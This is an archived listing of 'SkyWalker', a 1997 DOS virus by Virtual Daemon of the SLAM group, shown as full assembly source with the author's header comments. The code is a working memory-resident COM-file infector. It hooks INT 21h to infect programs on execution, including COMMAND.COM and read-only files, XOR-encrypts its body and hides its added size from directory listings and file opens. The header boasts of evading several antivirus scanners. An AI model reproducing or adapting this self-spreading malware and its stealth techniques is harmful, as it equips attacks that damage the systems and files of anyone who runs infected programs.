home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / VIRDCOLL.ZIP / SKYWALKE.ZIP / SKYWALKE.ASM next >
Assembly Source File  |  1997-07-09  |  10KB  |  413 lines

  1. ;
  2. ;    S·k·y·W·a·l·k·e·r                 Written by Virtual Daemon [SLAM] 1997
  3. ; ──────────────────────────────────────────────────────────────────────────»
  4. ;
  5. ;  Description:
  6. ;  ────────────
  7. ;    ─» Virus Name: SkyWalker
  8. ;    ─» Virus Author: Virtual Daemon
  9. ;    ─» Group: SLAM
  10. ;    ─» Virus Size: 709 bytes
  11. ;    ─» Virus Type: TSR COM infector
  12. ;  Comments:
  13. ;  ─────────
  14. ;    ─» XOR Encryption with a random variable
  15. ;    ─» Infect files via 4bh (load or execute)
  16. ;    ─» Size-Stealth on 11h/12h (find 1st/next FCB), 4eh/4fh (find 1st/next
  17. ;       DTA), 3dh (open) and 6c00h (extended open)
  18. ;    ─» Save/Restore file's date/time/attributes
  19. ;    ─» Int 24h handler (no errors)
  20. ;    ─» Infect COMMAND.COM
  21. ;    ─» Infect read only files
  22. ;    ─» NO Payload... :(
  23. ;  Anti-Virus Tests:
  24. ;  ─────────────────
  25. ;    ─» No detection with AidsTest
  26. ;    ─» No detection with Toolkit
  27. ;    ─» 'Unknown virus' detection with F-Prot 2.27 full heuristic
  28. ;    ─» 'Unknown virus' detection with AVP 2.xx
  29. ;
  30. ;   This virus uses the concept of "size-stealth" to maximum. Besides the
  31. ; classical 11h/12h/4eh/4fh, I'm substracting the size of the virus even when
  32. ; you read the file (3dh and 6c00h)... So, it may look a little like a full
  33. ; stealth virus, but it isn't. The only method to find the virus is to look
  34. ; carefully to the 1st 3 bytes. I can substract the size of the file easily
  35. ; so you can't see the virus, BUT I CAN'T modify the 1st 3 bytes... Well,
  36. ; unless I write them on disk, and that would be full stealth... hehehe.. ;)
  37. ;   Hmm.... about anti-anti-virus: I have bad luck, bcoz my hard drive just
  38. ; got formatted and I have only F-Prot 2.27 and some old versions of Toolkit,
  39. ; AidsTest and AVP, so I couldn't hide the virus from TBAV or others. Anyway,
  40. ; the next version (if there will be one) will be 100% un-detected!
  41. ;   The name of the virus? Heheheh... :).... well, I choosed 'SkyWalker' bcoz
  42. ; I'm a very big fan of Star Wars.
  43. ;   One last mention: the seconds are set to 60 for stealth checking...
  44. ;
  45. ;                      ┌─════════════════════════════─┐
  46. ;                      · "May the force be with you!" ·
  47. ;                      └─════════════════════════════─┘
  48.  
  49. .model tiny
  50. .code
  51.    org 0
  52. begin:
  53.    call go4it
  54. go4it:
  55.    pop bp
  56.    sub bp,offset go4it
  57.  
  58.    push ds
  59.    push es
  60.  
  61.    call crypt                   ;decrypt the virus
  62. cryptstart:
  63.    mov ax,'VD'                  ;check if the virus is already installed
  64.    int 21h
  65.    cmp bx,ax
  66.    je restore
  67.  
  68.    mov ax,es                    ;get PSP
  69.    dec ax
  70.    mov ds,ax                    ;get MCB
  71.  
  72.    sub word ptr ds:[3],((heap-begin+1023)/1024)*64  ;substract size from MCB
  73.    sub word ptr ds:[12h],((heap-begin+1023)/1024)*64
  74.    mov es,word ptr ds:[12h]
  75.  
  76.    push cs
  77.    pop ds
  78.    xor di,di
  79.    mov cx,(heap-begin)/2+1
  80.    mov si,bp
  81.    rep movsw                    ;load the virus in memory
  82.  
  83.    xor ax,ax
  84.    mov ds,ax
  85.    sub word ptr ds:[413h],(heap-begin+1023)/1024    ;take 1 K of mem
  86.    push ds
  87.    lds ax,ds:[21h*4]            ;save old INT 21h interrupt vector
  88.    mov word ptr es:oldint21,ax
  89.    mov word ptr es:oldint21+2,ds
  90.    pop ds
  91.    mov word ptr ds:[21h*4],offset myint21           ;set our INT 21h handler
  92.    mov ds:[21h*4+2],es
  93. restore:
  94.    pop es
  95.    pop ds
  96.    lea si,[bp+offset jmpbuf]
  97.    mov di,100h
  98.    push di
  99.    movsw
  100.    movsb
  101.    retn                         ;return to host
  102. jmpbuf   db 0cdh,20h,0
  103.  
  104. my24:
  105.    mov al,3h
  106.    iret
  107.  
  108. myint21:
  109.    cmp ax,'VD'
  110.    jne may
  111.    mov bx,ax
  112.    iret
  113. may:
  114.    cmp ah,4bh                   ;execute or load?
  115.    jne the
  116.    jmp infect
  117. the:
  118.    cmp ah,3dh                   ;open?
  119.    jne force
  120.    jmp open
  121. force:
  122.    cmp ax,6c00h                 ;extended open?
  123.    jne be
  124.    jmp open
  125. be:
  126.    cmp ah,11h                   ;find first FCB?
  127.    jne with
  128.    jmp FCB_stealth
  129. with:
  130.    cmp ah,12h                   ;find next FCB?
  131.    jne you
  132.    jmp FCB_stealth
  133. you:
  134.    cmp ah,4eh                   ;find first file handle?
  135.    je DTA_stealth
  136.    cmp ah,4fh                   ;find next file handle?
  137.    je DTA_stealth
  138. exithandler:
  139.    db 0eah
  140. oldint21   dd ?
  141.  
  142. DTA_stealth:
  143.    pushf
  144.    push cs
  145.    call exithandler             ;fake a int 21h call
  146.    jc no_files
  147.  
  148.    pushf
  149.  
  150.    push ax di es bx
  151.  
  152.    mov ah,2fh                   ;DOS function=get DTA area in es:bx
  153.    int 21h
  154.  
  155.    mov ax,es:[bx+16h]
  156.    and al,1eh                   ;test if infected
  157.    cmp al,1eh
  158.    jne not_inf
  159.  
  160.    cmp word ptr es:[bx+1ah],(heap-begin)
  161.    ja hide
  162.    cmp word ptr es:[bx+1Ch],0   ;check if too large
  163.    je not_inf
  164. hide:
  165.    sub word ptr es:[bx+1ah],(heap-begin)
  166. not_inf:
  167.    pop bx es di ax
  168.    popf
  169. no_files:
  170.    retf 2
  171.  
  172. FCB_stealth:
  173.    pushf
  174.    push cs
  175.    call exithandler             ;fake a int 21h call
  176.    or al,0
  177.    jnz skip_dir                 ;shit! error ocured! return to orig. 11h/12h
  178.    push ax bx es
  179.  
  180.    mov ah,51h                   ;DOS function=get current PSP to es:bx
  181.    int 21h
  182.    mov es,bx
  183.    cmp bx,es:[16h]              ;is the PSP ok?
  184.    jnz error
  185.  
  186.    mov bx,dx                    ;get offset to unopened FCB in bx
  187.    mov al,[bx]                  ;al holds current drive
  188.    push ax
  189.    mov ah,2fh                   ;DOS function=get DTA area in es:bx
  190.    int 21h
  191.  
  192.    pop ax
  193.    inc al
  194.  
  195.    jnz no_ext                   ;normal FCB? Great...
  196.    add bx,7                     ;if EXTENDED FCB skip 7 bytes
  197. no_ext:
  198.    cmp word ptr es:[bx+1fh],0
  199.    jnz error
  200.  
  201.    mov ax,es:[bx+17h]
  202.    and al,1eh                   ;test if infected
  203.    cmp al,1eh
  204.    jne error
  205.  
  206.    sub word ptr es:[bx+1dh],(heap-begin)
  207. error:
  208.    pop es bx ax
  209. skip_dir:
  210.    retf 2
  211.  
  212. open:
  213.    pushf
  214.    call dword ptr cs:[oldint21] ;fake an int 21h call
  215.    jc fucked                    ;open failed? shit! we must exit...
  216.  
  217.    cmp ax,5                     ;check if handle is a device
  218.    jb megafuck
  219.  
  220.    push ax bx di es
  221.  
  222.    xchg bx,ax
  223.    push bx                      ;save file handle
  224.    mov ax,1220h                 ;DOS function=get job file table entry
  225.    int 2fh
  226.  
  227.    mov bl,es:[di]
  228.    mov ax,1216h                 ;DOS function=get adress of SFT entry
  229.    int 2fh
  230.    pop bx                       ;restore file handle
  231.  
  232.    mov ax,es:[di+0dh]
  233.    and al,1eh                   ;test if infected
  234.    cmp al,1eh
  235.    jne noway
  236.  
  237.    cmp word ptr es:[di],1       ;check if file has already been opened
  238.    ja noway                     ;too bad! We can't stealth it...
  239.    sub es:[di+11h],(heap-begin)
  240. noway:
  241.    pop es di bx ax
  242. megafuck:
  243.    clc
  244. fucked:
  245.    retf 2
  246.  
  247. infect:
  248.    pushf
  249.    push ax bx cx dx si di bp ds es
  250.    push ds
  251.    push dx
  252.  
  253.    mov ax,3524h                 ;save old Int 24h handler
  254.    int 21h
  255.    mov word ptr cs:[old_24],bx
  256.    mov word ptr cs:[old_24+2],es
  257.  
  258.    push cs
  259.    pop ds
  260.    lea dx,my24                 ;set new Int 24h handler
  261.    mov ax,2524h
  262.    int 21h
  263.  
  264.    pop dx
  265.    pop ds
  266.    mov ax,4300h
  267.    int 21h
  268.    push ds
  269.    push dx
  270.    push cx
  271.    mov ax,4301h
  272.    xor cx,cx
  273.    int 21h
  274.  
  275.    mov ax,3d02h
  276.    pushf
  277.    call dword ptr cs:[oldint21]
  278.    xchg ax,bx
  279.  
  280.  
  281.    mov ax,5700h
  282.    int 21h
  283.    mov word ptr cs:[file_time],cx
  284.    mov word ptr cs:[file_date],dx
  285.  
  286.    push cs
  287.    pop ds
  288.    push cs
  289.    pop es
  290.  
  291.    mov ah,3fh
  292.    lea dx,buffer
  293.    mov cx,3
  294.    int 21h
  295.  
  296.    mov ax,4202h
  297.    xor cx,cx
  298.    cwd
  299.    int 21h
  300.  
  301.    mov word ptr file_size,ax
  302.    mov word ptr file_size+2,dx
  303.  
  304.    cmp word ptr buffer,'MZ'     ;check if EXE
  305.    jne checkagain
  306.    jmp close_file
  307. checkagain:
  308.    cmp word ptr buffer,'ZM'
  309.    je close_file
  310.  
  311.    mov ax,word ptr file_size    ;check if file is too big
  312.    cmp ax,65535-(endheap-begin)
  313.    ja close_file
  314.    cmp ax,(heap-begin)          ;check if file is too small
  315.    jbe close_file
  316.  
  317.    mov cx,word ptr buffer+1
  318.    add cx,heap-begin+3
  319.    cmp ax,cx
  320.    je close_file
  321.  
  322.    mov di,offset jmpbuf
  323.    mov si,offset buffer
  324.    movsb
  325.    movsw
  326.    mov byte ptr [offset buffer],0e9h
  327.    sub ax,3
  328.    mov word ptr [offset buffer+1],ax
  329.  
  330. find_val:
  331.    mov ah,2ch                   ;get encryption value
  332.    int 21h
  333.    cmp dx,0                     ;if=0 then find another
  334.    je find_val
  335.    mov word ptr ds:[encrypt_val],dx
  336.  
  337.    mov ax,08d00h                ;move the virus body in memory and encrypt it
  338.    mov es,ax
  339.    xor di,di
  340.    xor si,si
  341.    mov cx,(heap-begin+1)/2      ;how much code to move
  342.    rep movsw
  343.    push es
  344.    pop ds
  345.    xor bp,bp
  346.  
  347.    call crypt                   ;encrypt the virus body
  348.  
  349.    mov ah,40h
  350.    lea dx,begin
  351.    mov cx,heap-begin
  352.    int 21h
  353.  
  354.    mov ax,4200h
  355.    xor cx,cx
  356.    cwd
  357.    int 21h
  358.  
  359.    mov ah,40h
  360.    lea dx,buffer
  361.    mov cx,3
  362.    int 21h
  363.  
  364.    mov ax,5701h
  365.    mov cx,word ptr cs:[file_time]
  366.    mov dx,word ptr cs:[file_date]
  367.    or cl,1eh                    ;set seconds to 60
  368.    int 21h
  369. close_file:
  370.    mov ah,3eh
  371.    int 21h
  372.  
  373.    mov ax,4301h
  374.    pop cx
  375.    pop dx
  376.    pop ds
  377.    int 21h
  378.  
  379.    mov ds,word ptr cs:[old_24+2]
  380.    mov dx,word ptr cs:[old_24]
  381.    mov ax,2524h                 ;restore Int 24h handler
  382.    int 21h
  383. exit:
  384.    pop es ds bp di si dx cx bx ax
  385.    popf
  386.    jmp exithandler
  387.  
  388. old_24      dd ?
  389. cad         equ 53h
  390. endc:
  391. buffer      db 3 dup (?)
  392. encrypt_val dw 0
  393. virname  db 0,'S·k·y·W·a·l·k·e·r',0
  394.  
  395. crypt:
  396.    db 66h                       ;for Sourcer
  397.    mov dx,word ptr ds:[bp+encrypt_val]
  398.    lea si,[bp+cryptstart]       ;where to begin
  399.    mov cx,(endc-cryptstart)/2   ;how much to encrypt
  400. xor_loop:
  401.    xor word ptr ds:[si],dx      ;xor words instead of bytes
  402.    add si,2
  403.    loop xor_loop
  404.    ret
  405.  
  406. author   db '[VD/SLAM]'
  407. heap:
  408. file_size   dd ?
  409. file_time   dw ?
  410. file_date   dw ?
  411. endheap:
  412. end begin
  413.